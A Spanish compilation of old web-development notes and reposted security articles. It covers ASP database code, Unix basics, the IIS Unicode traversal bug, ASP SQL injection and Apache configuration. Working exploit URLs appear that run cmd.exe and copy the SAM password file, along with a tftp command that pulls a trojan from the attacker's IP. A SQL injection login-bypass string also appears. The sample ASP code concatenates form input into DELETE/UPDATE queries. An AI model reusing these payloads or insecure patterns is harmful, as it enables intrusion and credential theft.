Set con= Server.CreateObject("ADODB.CONNECTION")
con.open "DSN=Clientes;UID=Nombre_usuario;PWD=Password;"

a-> Crear RecordSet
set mirs=con.execute("Select * from clientes") -> es como un mysql_query

mirs.eof
mirs.movenext
mirs("Nombre")
etc

b-> Ejecutar una consulta
con.execute=("Update...")

Variable de aplicación mejor, ponerlo en el global.asa, y luego llamarlo con un include.

response.write(mirs("Nombre"))

Ejemplo:

<%
Set con= Server.CreateObject("ADODB.CONNECTION")
con.open "DSN=Clientes;"

set mirs=con.execute("Select * from clientes")

do until mirs.eof
response.write(mirs("Nombre"))
mirs.movenext
loop

%>

Para actualizar y borrar registros:

conexion.asp

<%
Set con= Server.CreateObject("ADODB.CONNECTION")
con.open "DSN=Clientes;"

set mirs=con.execute("Select * from clientes")

do until mirs.eof

response.write("<form method=post action=edit.asp>")
response.write("<input type=hidden name=id value="&mirs("IDCliente")&">")
response.write(mirs("IDCliente"))
response.write("")
response.write(mirs("Nombre"))
response.write("")
response.write(mirs("Direccion"))
response.write("")
response.write(mirs("Telefono"))
response.write("")
response.write("<input type=submit value=Editar>")
response.write("</form>")
response.write("<hr>")
mirs.movenext
loop

%>

edit.asp

<%
Set con= Server.CreateObject("ADODB.CONNECTION")
con.open "DSN=Clientes;"

if request.form("Borrar")="Borrar" then
set mirs=con.execute("DELETE from clientes where IDCliente="&request.form("id")&"")
response.write ("Eliminado")
else
if request.form("Actualizar")="Actualizar" then
set mirs=con.execute("UPDATE clientes SET Nombre='"&request.form("Nombre")&"', Direccion='"&request.form("Direccion")&"', Telefono='"&request.form("Telefono")&"' where IDCliente="&request.form("id")&"")
response.write ("Actualizado")
else
set mirs=con.execute("Select * from clientes where IDCliente="&request.form("id")&"")

response.write("<form method=post>")
response.write("<input type=hidden name=id value="&mirs("IDCliente")&">")
response.write ("Nombre: <input type=text name=Nombre value="&mirs("Nombre")&">")
response.write("")
response.write ("Dirección: <input type=text name=Direccion value="&mirs("Direccion")&">")
response.write("")
response.write ("Telefono: <input type=text name=Telefono value="&mirs("Telefono")&">")
response.write("")
response.write("<input type=submit name=Actualizar value=Actualizar>")
response.write("<input type=submit name=Borrar value=Borrar>")
response.write("</form>")

end if

end if
%>

Funciones

var=array(1,2,3)

Join(matriz,caracter)
Join --> una matriz en una cadena
Split(cadena,delimitador)
Split --> una cadena la convierte en array


(Bod,Byte,CCur,CDate,CDBl,Chr,Clnt,Clong,Str) -> nos convierte cualquier variable en un tipo que le digamos

chr.Asc --> código ASCII

Funciones de Fecha
Time()
Now() --> fecha y hora actual

Date()

DateAdd(Internal,Cantidad,Fecha) --> suma la fecha que le digamos

Day(Fecha) Month(fecha) Year(fecha)
hour(fecha) minute(fecha) second(fecha)

DatePart(Inervalo,Fecha) --> q (cuarto trimestre) w (semana) y (dia del año) ww (semana del año)

FormatDateTime(fecha,formato) -> formatear una fecha o una hora
FormatDateTime(fecha,1)
FormatDateTime(fecha,2)
etc

InputBox(texto,titulo,valorpred,xpos,ypos)

InStr([conocimiento],cadena1, cadena2) -> buscar una cadena en otra (buscamos la cadena 2 en la cadena 1

Left(cadena,longitud)
Right(cadena,longitud)
Mid(cadena,longitud)

Obtener partes de una cadena
#332
ALGUNOS COMANDOS UNIX PARA EMPEZAR CON UNA SESION TELNET
Nota inicial: En Unix las mayúsculas y minúsculas son letras distintas. No es lo mismo 'dir' y 'DIR'.



Ayuda:
$ man Sobre el 'man'
$ man comando Ayuda de ese comando
$ man -k palabra_clave Busca por palabra clave

Tratamiento de ficheros:
$ cd directorio Cambia de directorio
$ cd .. Pasa al directorio superior
$ cd Pasa al directorio inicial
$ pwd Indica directorio actual

$ ls Muestra los ficheros del directorio ('dir')
$ ls -l dir completo: fecha, usuario, tamaño
$ mkdir directorio Crea un directorio
$ rmdir directorio Borra el directorio

$ rm fichero Borra un fichero ('del')
$ cp fich1 fich2 Copia fich1 como fich2 ('copy')
$ more fich Muestra el fichero pag a pag
$ cat fich ('type')
$ mv fich1 fich2 Renombra fich1 a fich2 ('ren')

En cualquier punto, completa el nombre o pita si hay posibilidad de varios. Para ver posibles nombres, Ctrl-D. Ctrl-e se posiciona a final de línea; Ctrl-a al principio.

Otros comandos:
$ whoami Indica quién eres
$ su - usuario Pide password, y pasa a ese usuario
$ telnet maquina Para conectarse a esa maquina

· Si da un error como: "connect(): Connection refused" se debe usar ' elnet'

$ history Muestra todo lo hecho
$ !numero Ejecuta ese comando
$ !v Ejecuta el "útimo comando que empieza por 'v'
$ passwd Cambio de password
$ finger Usuarios conectados de todo el departamento
$ finger usuario Para ver si está un usuario
$ talk usuario@maquina Para hablar con otro usuario



· Redireccionamiento de la salida:
Si se desea que la salida de un comando quede en un fichero:
$ comando > fich_salida
· Imprimir:
$ lpr nombre-fichero
Correo:

$elm
m) enviar un mensaje
return) ver el marcado
d) borrar el marcado
r) responder al marcado
f) forward del marcado
q) salir








Edición:
$emacs


Este texto ha sido extraido de http://www.infohackers.org/article.php?sid=239&mode=thread&order=0

Gracias a http://www.infohackers.org
#333
Fuente: Datahack.com Autor: Donatien

El bug del UNICODE
Qué es
Implicancias
En qué consiste realmente este bug?
Exploit
Lo que se puede llegar a hacer con un server que tenga el bug
Lo que supuestamente NO se puede hacer
Formas de evitar estas limitaciones
Cómo proteger a un servidor de esta vulnerabilidad
Parches de Microsoft que están disponibles


Qué es
El día 20/10/2000 Hispasec informó una de las vulnerabilidades más graves que podían afectar al Internet Information Server de Microsoft. Debido a ella, era posible ejecutar cualquier comando DOS en el servidor vulnerable casi tán fácilmente como en una consola de DOS por telnet.

(Nota publicada por Hispasec: http://hispasec.com/unaaldia.asp?id=726)

Implicancias
Traduciendo esto al lenguaje cotidiano, hay que decir que el 40% de los servidores web de la red se volvieron tán fáciles de hackear que cualquier aprendiz de hacker podía tomar el control completo del mismo.

(Haga click aquí para ver la galería de los sites hackeados)

En qué consiste realmente este bug?
Técnicamente hablando, el bug del Unicode consiste en un error por parte de los programadores de Internet Information Server de Microsoft, debido a que cada vez que un visitante solicita un archivo del servidor, IIS evalúa primero la cadena de la URL pedida en función de controlar que no escapen del árbol de directorios compartidos en el site (generalmente c:inetpubwwwroot), y recién después de realizada esta comprobación (altamente rigurosa y crítica para la seguridad del servidor) se traducen los caracteres especiales que el usuario envió codificados de acuerdo al set internacional conocido como Unicode.

Esto significa que (por ejemplo) el url:
http://www.servidor.com/scripts/..%c1%9c../autoexec.bat
sería evaluado por IIS y éste llegaría a la conclusión de que el visitante está pidiendo un archivo del directorio virtual "/scripts", intentando encontrar dentro de éste un subdirectorio llamado ..%c1%9c.. y dentro de él, el archivo autoexec.bat.
Pero a continuación, se realiza la interpretación de los códigos Unicode "%c1%9c" (que representan la barra) y el archivo que IIS le pediría al sistema operativo sería c:/inetpub/wwwroot/scripts/../../autoexec.bat, pero como scripts es un directorio virtual, el archivo sería c:/inetpub/wwwroot/../../autoexec.bat, es decir c:autoexec.bat.

Ya de por sí, esto es tan grave como dejar que cualquier persona pueda bajar el archivo de passwords del servidor con sólo conocer su ubicación por defecto, pero se ve extremadamente agravado por la forma en que IIS procesa los permisos de ejecución de los directorios, ya que "scripts/" tiene por defecto permisos de ejecución de CGI's y archivos ejecutables ISAPI, lo cual desemboca en la posibilidad de ejecutar programas en el servidor.

Como si esto fuera poco, al poder ejecutar el archivo cmd.exe (equivalente al command.com del viejo DOS) y pasarle a éste como parámetro la orden de que ejecute cualquier otro comando interno o externo, se tiene algo CASI tán versátil como una consola DOS por telnet.

Exploit
Básicamente, el exploit es tán sencillo como tipear lo siguiente en la linea de direcciones del explorador:

http://www.servidor.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:

y como respuesta obtener el listado del raíz del disco C:

En base a esta terrible negligencia de Microsoft, muchos "hackers" (con mínimos conocimientos de programación y redes) fueron capaces de hacer sus propios "exploits" (programas diseñados para aprovechar la vulnerabilidad)

Datahack también tiene una suite de esos programas, (gentileza de SSH Team) pero hemos decidido no difundirlo aún porque todavía es muy fácil encontrar servidores vulnerables, y hacer con éllos prácticamente lo que uno desee.

URL Scanner, de SSH Team:
Utilidad capaz de encontrar servidores vulnerables al bug del Unicode dando un ampli rango de IP's a escanear. (Tambien encuentra los servidores no vulnerables)




Uniconsole, de SSH Team:
Utilidad que permite explotar el bug casi como si se tratase de una linea de comandos de DOS, con el adiocional de que se conecta a través de un proxy norteamericano, es decir, de manera totalmente anónima, pero también más lenta.


Lo que se puede llegar a hacer con un server que tenga el bug
Dependiendo de cómo estén configurados los permisos de los directorios del servidor, el hacker tendrá un mayor o menor rango de acción.

IIS accede al disco (directorios y archivos) utilizando un usuario especial, generalmente llamado IUSR_NOMBREMAQUINA (por supuesto que NOMBREMAQUINA es distinto cada vez, y se corresponde justamente con el nombre de esa máquina).

El asunto es que en los casos en que IUSR_NOMBREMAQUINA tenga acceso total al disco, el server estará a total disposición del hacker, para cambiar o borrar cualquiera de sus archivos, Robar información y eliminar sus huellas.

Pero si el administrador del sitio tomó la precaución de quitarle a IUSR_NOMBREMAQUINA todo permiso de escritura en el arbol de wwwroot y todo permiso (de lectura y escritura) al resto del disco (o discos) el servidor estará a salvo de modificaciones y/o destrucción de archivos, pero no aún del robo de información.

Lo que supuestamente NO se puede hacer
A primera vista, no se pueden subir ni bajar archivos del servidor, ya que DOS no provee programas de línea de comando que se manejen con parámetros y establezcan y mantengan una conexión TCP/IP hasta enviado o recibido un archivo.

Si bien existe el programa FTP, que se maneja desde la línea de comandos, éste no permite especificar todos los datos cómo parámetros y llevar a cabo toda la transacción en un solo paso. Recordemos que este bug no dá al hacker un Telnet al DOS, sino "CASI" un Telnet al DOS. La diferencia es que con el bug del unicode cada vez que el hacker envía un comando DOS, este se ejecuta en una sesión totalmente distinta de la que ejecutó el comando anterior, y todo programa que se ejecute en esta particular consola deberá resolverse desde el principio hasta el final en una sola línea.

Un agravante es que este sistema no permite ningún tipo de redireccionamiento del input ni del output. (De otra forma sería muy fácil

Formas de evitar estas limitaciones
Encontrar la forma de bajar algo es muy fácil, y se hace muy evidente para cualquiera que preste un poco de atención. Alcanza con copiar el archivo que queramos bajar al directorio compartido por web, por ejemplo:
copy c:winntrepairsam._ c:inetpubwwwroot
que se ejecuta solicitando el url
http://www.server.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy c:winntrepairsam._+c:inetpubwwwroot
y luego sólo resta bajar con el navegador el archivo http://www.server.com/sam._


Arreglarselas para subir algo es algo mucho más complicado. Ya expliqué en el punto anterior que el método más evidente (el del comando FTP) no sirve en este caso.

Para ello se puede utilizar una variante que Windows NT y 2000 traen también por defecto en su instalación, llamada TFTP (Trivial FTP). La complicación extra es que el cliente TFTP no puede conectarse con cualquier servidor de FTP, sino con un servidor TFTP propiamente dicho.

De todas formas, encontrar un servidor TFTP no es demasiado difícil. Por ejemplo, el TFTP Daemon 32 es muy conocido, y se puede encontrar en ftp://ftp.cavebear.com/karl/tftpd32.zip

Una vez que lo tiene instalado, el hacker puede bajar un troyano al servidor desde su propia PC, ejecutando el comando "tftp.exe -i XXX.XXX.XXX.XXX GET troyano.exe" (claro que las X representan el IP del hacker).

Esto acarrea un inconveniente: hasta ahora el hacker podía ocultar su identidad con un simple proxy http, pero luego de esta maniobra de "upload" su IP quedará registrado en los logs del servidor. Los hackers suelen evitar esto usando un troyano en la PC de otra persona, redireccionando algunos puertos de la víctima a la porpia PC, y conectando el TFTP del server al IP de la víctima en lugar del propio. De esta forma el IP que queda registrado es el de la persona que tenía el troyano funcionando en ese momento.

Cómo proteger a un servidor de esta vulnerabilidad
Hay una serie de pasos necesarios para evitar esta vulnerabilidad:


1) Eliminar del IIS todos los directorios virtuales (scripts, msadc, iisadmpwd, etc, que generalmente no se usan)
2) Quitar a todos los directorios que lo tengan el permiso de ejecución de CGI's e ISAPI, dejando sólo el permiso de ejecución de scripts. (que suele ser suficiente para todo site basado en páginas ASP)
3) Quitar todo permiso de escritura al usuario IUSR_NOMBREMAQUINA dentro del arbol de wwwroot, y todo permiso (lectura y escritura) fuera de ese arbol de directorios.
4) Instalar Windows y los directorios compartidos en lugares diferentes de los que vienen por defecto (en otras palabras, evitar usar c:winnt y c:inetpub)
5) Cambiar el nombre al archivo cmd.exe
Parches de Microsoft que están disponibles
En el sitio web de Microsoft se pueden bajar parches para algunas versiones de IIS, sin embargo a la fecha de esta publicación aún no está disponible el parche para la versión en castellano de IIS, por lo cual se recomienda tomar las medidas enumeradas en el punto anterior.

http://www.datafull.com/datahack/notas/nota.php?codigo=8
#334
Fuente: Hispahack Autor: MiST

Acceso a webs ASP restringidas
Antes que nada me gustaría decir que este artículo ha sido inspirado en el escrito de rain.forest.puppy "NT Web Technology Vulnerabilities" publicado en la Phrack número 54.

Las Active Server Pages (ASP) son paginas creadas en lenguaje visual basic script, además de los usuales tags html, las cuales son ejecutadas en el servidor y sus respuestas son enviadas al browser cliente. Normalmente se utilizan para hacer consultas a un motor de base de datos con driver ODBC, de ese modo pueden crearse páginas dinámicas de una forma muy sencilla.

Cada vez son más las empresas que apuestan por esta tecnología aunque, como explicaré seguidamente, en algunos aspectos hay que programarlas concienzudamente para evitar posibles intrusiones en la parte restringida del web.

Vamos al grano: Imaginemos una web de acceso restringido cualquiera, digámosle login.asp, donde hay que rellenar dos campos de texto de un formulario uno con el login y otro con el password. En el action del formulario hay chek_passwd.asp. El código asp de la consulta y acceso a datos de esta página sería mas o menos el siguiente:


Vamos a comentarlo un poco. Las marcas indican principio y fin de código a interpretar por el server por lo tanto código que el cliente no verá.

ConsultaSQL="SELECT * FROM tabla_de_usuarios WHERE login='" & _ request.querystring("login") & "' AND password='" & _
request.querystring("password) & "'"

Se carga en la variable ConsultaSQL la consulta (SQL claro).

SELECT * 'Selecciona todos los campos
FROM tabla_de_usuarios 'de la tabla de usuarios
WHERE login= 'que el login sea igual a
' 'inicio de cadena a comparar
"& 'inicio de variable
1_ 'continua en la siguiente línea
request.querystring("login") 'variable login pasada desde el formulario de la página
&" 'fin de variable
' 'fin de cadena a comparar
AND 'y lo mismo con la variable password mandada desde el formulario.


La consulta hablada seria "Seleccionar todos los campos de la tabla de usuarios donde el login sea el nombre introducido en el formulario y el password sea el password introducido en el formulario".

Prosigamos:

Set Conn = Server.CreateObject("ADODB.Connection")

Crea un objeto de conexión a datos ADODB el nombre del cual es Conn.

Conn.Open "DSN=websql;UID=Uid_page;PWD=pwd_page;DATABASE=page"

Abre la conexión con todos los parámetros necesarios para ello, servicio de datos, uid, password y base de datos.

Set recst = Server.CreateObject("ADODB.RecordSet")

Crea un objeto recordset llamado recst.

recst.ActiveConnection=Conn

Indica la conexión por la que el recordset se instanciará.

recst.Open ConsultaSQL

Instancia el recordset con los resultados de la consulta SQL vista anteriormente. Este recordset se utilizará ahora para generar las páginas dinámicas de la cuenta del usuario dentro del web, o si el recordset no se instancia con nada (login y/o password incorrecto), saldrá una página de error.

Y dónde está el problema? Muy señores míos, el problema se encuentra en el carácter ' . Si, tan pequeñito como es el delimitador de cadena a comparar es muy peligroso si no se controla ya que imaginemos que en el textbox del formulario donde piden el login ponemos la cadena:

loquesea' x

y en el password ponemos cualquier cosa, la página si no está bien programada nos dará la siguiente respuesta:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'x'.
/chek_passwd.asp, line 18

Con un poco de intuición podemos suponer que esta línea 18 coincide con la línea:

request.querystring("login") & "' AND password='" & _

ya que al instanciarse las variables del formulario la consulta quedará:

"SELECT * FROM tabla_de_usuarios WHERE login='loquesea' x'
AND password='qualquiercosa'"

Como vemos el formato de la consulta queda erróneo debido a los caracteres x' . Nuestro objetivo será pues sustituir estos caracteres erróneos por otros que puedan ser interpretados correctamente como consulta SQL, y que, de paso, nos de de retorno en el recordset datos válidos de la base de datos para entrar en el web. En mi opinión, muy cuestionable por cierto, una buena cadena sería:

loquesea' or nombre_atributo_bd like '%letra o numero%' or nombre_atributo_bd='algo

Ejemplo:

loquesea' or login like '%a%' or login='algo

De ese modo la consulta nos quedará:

"SELECT * FROM tabla_de_usuarios WHERE login='loquesea'
OR login like '%letra o numero%' OR login='algo'
AND password='qualquiercosa'"

Tengo que remarcar que letra o numero es una letra o un numero cualquiera, por ejemplo a (de administrador ). Esta consulta junto con el resto de código que le sigue nos dará un recordset con todos los datos de un usuario que su login contenga una a (si ponemos a), y por lo tanto entraremos en su cuenta dentro del web. Como veis el error se da por un descuido de programación, que, acompañado con una mala administración del IIS donde se alberga la página y un diseño poco cuidado de la misma, entrar en una web restringida puede ser muy sencillo. Una pregunta que podríamos hacernos una vez leído esto es: ¿Y cómo sé el nombre del atributo de la base de datos que contiene el nombre de usuario? En el ejemplo he utilizado login, pero es verdad, no hay modo de saberlo de una forma segura, aunque normalmente los programadores de asp cometemos el error de bautizar los textbox de los formularios con el mismo nombre que el atributo equivalente en la bd y solo con un vistazo al código html visible se puede deducir. Si eso no funciona siempre queda probar con los nombres típicos login, user, usuario, idusuario, etc.


SOLUCIÓN:

Para solucionar esta vulnerabilidad sólo hay que poner una pequeña rutina en javascript o en vbscript que mire las cadenas contenidas en las variables del request.querystring controlando que no contengan ninguna comilla. No estaría de más, pero, delimitar los textbox del formulario con maxlength para que no puedan introducirse cadenas demasiado largas. Eso no és ninguna solución definitiva, el atacante siempre podrá llamar al asp vulnerable desde la barra del browser o desde una copia local del web modificado, pero la cuestión és intentar hacer el trabajo del atacante lo más molesto posible. Tampoco estaría de más configurar el IIS para que al producirse un error dé como respuesta una página estándar de fallo y no la típica página que te dice el número de error y te chiva una parte del código del fichero asp. De ese modo el atacante no podrá disponer de información, como partes de la consulta, motivos del fallo, etc, que podría utilizar en su beneficio.

MiST

http://hispahack.ccc.de/mi027.htm
#335
Versión  1.60

1) Configuración avanzada Apache
2) Configuración avanzada PHP + Seguridad en PHP
3) Instalación y configuración bajo Linux
4) Optimizando el Apache, el PHP y el MySQL
5) Evitando Ataques al Apache
6) Protegiendo ancho de banda
7) Autorización en Apache
8) Apache con una dirección IP dinámica

=====================================================================

1) Configuración avanzada Apache

Módulos Apache:

mod_auth_anon: permite a usuarios anónimos acceder a áreas autentificadas.
mod_auth_dbm: proporciona autentificación utilizando ficheros DBM.
mod_auth_digest: autentificación de usuario utilizando MD5.
mod_cern_meta: semántica de etiquetas meta del CERN.
mod_expires: cabeceras http expires.
mod_headers: personalización de las peticiones http y cabeceras.
mod_info: visión comprensiva de la configuración del servidor.
mod_mime_magic: determina el tipo de MIME de un fichero.
mod_proxy: Servidror HTTP/1.1 proxy/gateway
mod_rewrite: proporciona un motor de re-escritura basado en reglas.
mod_speling: intenta corregir "faltas" en las URL, ignorando mayúsculas, etc.
mod_status: informaicón y rendimiento del apache
mod_unique_id: variables del entorno
mod_usertrack: registro de actividad de un usuario
mod_vhost_alias: Configurar servidores virtuales dinámicamente
mod_proxy_balancer Funciones del balanceador para el módulo proxy
mod_proxy_http Soporte Http para el módulo proxy
mod_cache Módulos de caché genérico
mod_disk_cache Caché de ficheros para el módulo caché
mod_deflate Módulo de compresión de contenido


Ahora vamos a ver un poco con profundidad todas las opciones de configuración:


Archivos que necesitamos:

httpd.conf de la carpeta conf del apache
php.ini de c:Windows para configurar el PHP

Opciones del Apache httpd.conf

Básico:
# = Línea comentada, por lo tanto el apache no la coge.

# Dynamic Shared Object (DSO) Support --> Aquí se cargan los módulos de apache.

Ejemplo:
#LoadModule vhost_alias_module modules/mod_vhost_alias.so

LoadModule Nombre Ruta

Como ya hemos dicho antes, para carga el PHP:
LoadModule php4_module f:/php/sapi/php4apache.dll

Despues de hacer el LoadModule necesitas añadirlo con el AddModule

ClearModuleList
AddModule mod_php4.c

=====================================================================

Configuración general


ServerRoot "C:/Archivos de programa/Apache Group/Apache" --> donde esta instalado el Apache, y de donde cuelgan las demas carpetas.

PidFile logs/httpd.pid --> por si cerramos el apache mal nos lo guarda aqui.

Timeout 300 --> contra más grande sea, el apache no dara mensaje de timeout aunque tarde mucho en cargar una página.

MaxKeepAliveRequests 0 -->poner a 0 para ponerlo ilimitado. Se trata de mantener una conexión "viva" en el Apache. Es decir, un cliente está vieno la web y su "petición" se queda "viva" por si vuelve a pedir otra petición (GET, etc). De esta manera la petición es más rápida, pero también se quedan más conexiones "abiertas" en el Apache.

KeepAliveTimeout 15 --> Número de segundos que se espera el Apache para cerrar una conexión que está activa (pero en espera) y sin hacer nada (no está enviando datos) (leer arriba).

MaxRequestsPerChild 0 --> 0 para ilimitado.

Port 80 --> puerto por defecto del apache y de cualquier servidor web. Si pones otro puerto luego tendrás que escribir en el navegador ww.pepito.com:puerto

ServerAdmin el-brujo@elhacker.net --> tu email

ServerName localhost --> tu ip, o mejor localhost sino tienes ip fija. En caso de tener dominio poner el nombre de tu dominio.

DocumentRoot "C:/web" --> donde tienes la web, es decir las paginas que quieres que se vean en el navegador.

Opciones de un directorio individual:

ALL --> todas las opciones excepto MultiViews

ExeCGI --> se permite la ejecuación de scripts cgi.

Includes --> se permiten includes

IncludesNOEXEC -> ser permiten includes pero no se precesan #exec ni #include

MultiViews --> permite al servidor seleccionar el documento que mejor responda  a la petición del cliente (para mas info --> http://www.apache.org/docs/content-negotation.html

SymLinkslfOwnerMatch --> permite al servidor seguir un enlace simbólico si el destino del enlace y el enlace son del mismo propietario.

<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>

--> esto sirve para decirle que el Document Root (/) o sea c:/web no nos enseñe las carpetas ni su contenido, sino que coge el archivo que le decimos en directory index (luego lo veremos).

Si queremos que nos liste el contenido hay que comentarlo:

#<Directory />
# Options FollowSymLinks
# AllowOverride None
#</Directory>

o cambiarlo por:

<Directory />
Options +Indexes FollowSymLinks
AllowOverride None
</Directory>


http://httpd.apache.org/docs/mod/mod_autoindex.html


Para que esto se entienda pongo un ejemplo:

Podemos "proteger" la carpeta images (tenemos que tener c:/web/images)
para que cuando alguien esriba http://localhost/images) no le muestre el contenido de esa carpeta (sale un Permission Deneid), pero eso no quiere decir que las imagenes que estan en ses directorio
no vayan a ser visible, si hacemos http://localhost/images/banner.gif si nos enseña el banner.

Ejemplo:
<Directory /images>
Options FollowSymLinks
AllowOverride None
</Directory>

Options FollowSymLinks --> se trata de permitir enlaces simbólicos, o sea si un directorio tiene tales permisos, los siguientes directorios que cuelguen heredan las misma configuración.

Haz pruebas para ver la diferencia porque no me he explicado muy bien...

<Directory "C:/Archivos de programa/Apache Group/Apache/htdocs"> --> escribe aquí lo mismo que en el document root, ya que son los permisos básicos y por defecto.


<IfModule mod_dir.c>
DirectoryIndex index.html index.php default.htm
AddType application/x-httpd-php .php
</IfModule>


Se pueden ir añadiendo una al lado de otra: index.php index.php3 ,etc o una debajo de otra

index.php
index.php3
index.shtml

En DirectoryIndex se definen las páginas que cogera por defecto, es decir:

Si existe c:/web/index.html nos coge por defecto esa página, asi que no hace falta poner http://localhost/index.html, sinó que basta con poner http://localhost (que nos llevará a index.html)

Y lo mismo pasa si hay carpetas, directorios, si en c:/web/pruebas/ hay un archivo llamado index.html nos coge ese por defecto

SetHandler vs AddHandler

El problema es que hay en internet miles de sitios que recomienda esta configuración vulnerable con AddHandler o AddType:

AddHandler php5-script .php

La opción recomendada y más segura para "ejecutar" los ficheros php en Apache es con FilesMatch:

<FilesMatch \.php$>
   SetHandler application/x-httpd-php
</FilesMatch>



Apache httpd.conf

# inseguro .php.txt
#AddType application/x-httpd-php .php

# seguro
<FilesMatch \.php$>
   SetHandler application/x-httpd-php
</FilesMatch>




Antes:

AddHandler php5-script .php

Ahora la opción recomendada y más segura para "ejecutar" los ficheros php en Apache es con:

<FilesMatch \.php$>
   SetHandler application/x-httpd-php
</FilesMatch>


AddType application/x-httpd-php .php --> esto sirve para que interprete las paginas PHP

AddType application/x-httpd-php .php3 --> si queremos dar soporte a PHP3.

AddType application/x-httpd-php .shtml --> si queremos que se ejecute como un PHP

También podenos usar .shtml, que algunos utilizan como si fueran un php.

AccessFileName .htaccess --> esto es una opción muy buena que tiene el apache que en un archivo .htaccess podemos configurar varias cosas, como si fuera el httpd.conf (muy útil en webhosting, ya que no podemos controlar la conf del apache....)

Para proteger los htaccess de miradas indiscretas, ponemos en el conf principal:

<Files .htaccess>
Order allow,deny
deny from all
</Files>

O mejor aún:

<Files ~ "^.ht">
Order allow,deny
Deny from all
Satisfy All
</Files>

Son expresiones regulares, luego veremos algunos ejemplos.

Luego le podemos decir al htaccess

ErrorDocument 404 /notfound.html

También se le puede decir un directory index:

DirectoryIndex filename.html

Si queremos que un cgi se ejecute automáticamente:

DirectoryIndex /cgi-local/index.pl

También podemos utilizar la autentificación con HTTP con el Apache:

AuthUserFile "ruta"

<Limit GET>
requiere user login juan
</Limit>

(Abajo se explica completo)

ErrorLog logs/error.log --> para que logee los errores en la carpeta logs del apache.

#CustomLog logs/access.log combined --> guarda los accesos a la web en diferentes formato, sgún queramos unos datos u otros.

Puedes cambiar la ruta y guardar los logs en otro sitio, ya que suelen crecer mucho con webs grandes, llegando a tamaños de 1GB o más. Recuerda que en Linux en la carpeta dónde metas los logs debe ser de usuario "nobody" y grupo "nogroup" para que el apache pueda crear el archivo de logs y rellenarlo. Y si necesitas vaciarlo con algún prograna tipo awstats recuerda darle permisos de escritura 666.


#!c:/program files/perl/perl.exe --> aqui escribimos la ruta del perl, como que windows no lleva perl por defecto, deberemos bajarnos algun paquete, como Active Perl y aqui ponerle la ruta al perl.exe


Apache acepta Alias, y eso significa que podemos coger cualquier carpeta de nuestro ordenador y hacerla visible sin necesidad de que esa carpeta este en documentRoot

Me explico:

Si tenemos una carpeta con documentos en d:/documentos, y el documentRoot esta en c:/web, esa carpeta a priori no es visible, pero podemos hacer lo siguiente:

Alias /documentos/ "d:/documentos"

Y luego la protegemos:

<Directory "d:/documentos">
Options FollowSymLinks
AllowOverride None
</Directory>


A partir de este momento en http://localhost/documentos tendremos el contenido de d:/documentos

Podemos crear tantos alias como queramos.

Más cosas. Imáginemos que tenemos archivos .bak que no queremos que la gente los pueda ver, basta con decirle esto:

<Files ~ "/.bak$">
Order allow,deny
Deny from all
</Files>

ScriptAlias /cgi-bin/ "C:/Archivos de programa/Apache Group/Apache/cgi-bin/" --> Aqui definimos donde tendremos nuestros cgi''s, no es mas que un alias pero con permisos especiales para ejecutar.

<Directory "C:/Archivos de programa/Apache Group/Apache/cgi-bin">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>


Importante poner esas opciones para proteger el directorio cgi-bin de miradas curiosas.

Dento de la carpeta C:/Archivos de programa/Apache Group/Apache/cgi-bin tenemos que meter los cgi''s o pl''s, y luego en el navegador se accede con http://localhost/cgi-bin/

También se le puede decir al Apache que cualquier cgi que vea, este dentro del ScriptAlias o no, lo ejecute, esto no es recomendable, pero por si acaso basta con decirle esto:

AddHandler cgi-script .cgi

También se le puede decir al apache que una página shtml la interprete como SSI (Server Side Inlcudes:

AddHandler server-parsed .shtml

<IfModule mod_negotiation.c>
LanguagePriority en da nl et fr de el it ja kr no pl pt pt-br ru ltz ca es sv tw
</IfModule>

Propiedades del lenguaje, asi que mejor poner es al principio del todo:

LanguagePriority es en da nl et fr de el it ja kr no pl pt pt-br ru ltz ca sv tw


ErrorDocument --> Tipos de errores.

200 OK
206 Partial content
301 Document moved permanently
302 Document found elsewhere
304 Not modified since last retrieval
400 Bad request
403 Access forbidden
404 Document not found
408 Request timeout
500 Internal server error
501 Request type not supported

Por ejemplo:

El error 404 es cuando un servidor no encuentra una pagina. Pues podemos hacer que cuando haya un 404 nos lleve a una pagina:

ErrorDocument 404 /error.htm

Y en la pagina error.htm pues escribimos lo que queramos, es un html normal.

Asi que cuando escribamos http://localhost/lo_que_sea, si lo_que_sea no existe, ya sea carpeta, html, zip, etc nos llevara automaticamente a la pagina error.htm

Los directorios server-estatus y server-info están comentados por defectos y mejor dejarlos así sino sabes lo que tocas. Pero si lo descomentas asegurate de poner el allow from bien, es decir localhost o tu ip. Tampco es que sea informacion super-delicada, pero si es informacion privada.

#<Location /server-info>
# SetHandler server-info
# Order deny,allow
# Deny from all
# Allow from localhost
#</Location>

El server status te dice el estado del servidor, los procesos en espera, las conexiones enviando información, etc, el uptime del apache, el tráfico total enviado, etc.

Si lo quieres más completo, con las peticiones en proceso simultáneas, las conexiones de cada vhost (muy útil para saber que hosting consune más) etc, debes descomentar esta linea:

ExtendedStatus On

<Location /server-status>
SetHandler server-status
Order deny,allow
Allow from ip
Deny from all
</Location>

Otra manera de hacerlo es:

<Location /server-status>
SetHandler server-status
  AuthUserFile /home/pepe/htpasswd
  AuthType Basic
  AuthName "Server Status"
  require valid-user
</Location>

En el archivo htpasswd que está en /home/pepe debe estar el usuario pepe con su correspondiente contraseña cifrada. Para hacer estos usuarios, consulta el final del documento dónde se explica como proteger directorios.


También se le puede decir al Apache que por defecto cada usuario de linux tenga su directorio web.
Por ejemplo http://localhost/~juan/ apuntará al directorio del usuario en linux, o sea:

/home/juan/public_html

Para hacer esto basta con poner:

UserDir public_html

Si pusieramos:

UserDir pagina_web

Entonces irá por defecto a:

/home/usuario/pagina_web
/home/usuario2/pagina_web

<Directory /home/*/public_html>
Opciones que queramos para todos los usuarios.
</Directory>

Más cosas:

Si tenemos una carpeta /images y la movemos de sitio, podemos hacer un redirect, o por ejemplo si teniamos /juan y ahora juan ha comprado un dominio podemos hacer esto:

Redirect permanent /juan http://www.juan.com

Donde /juan ya no debe ser un directorio, ni estar lleno, el ex-directorio de nuestro amigo ahora será www.juan.com, que es el nuevo dominio de juan, donde podemos encontrarle :)

Otra cosa excelente es que el Apache puede alojar varias webs (dominios) y esto se hace con el VirtualHost.

Los vhosts pueden estar basados en nombre (based-name) o en ip (ip-based).

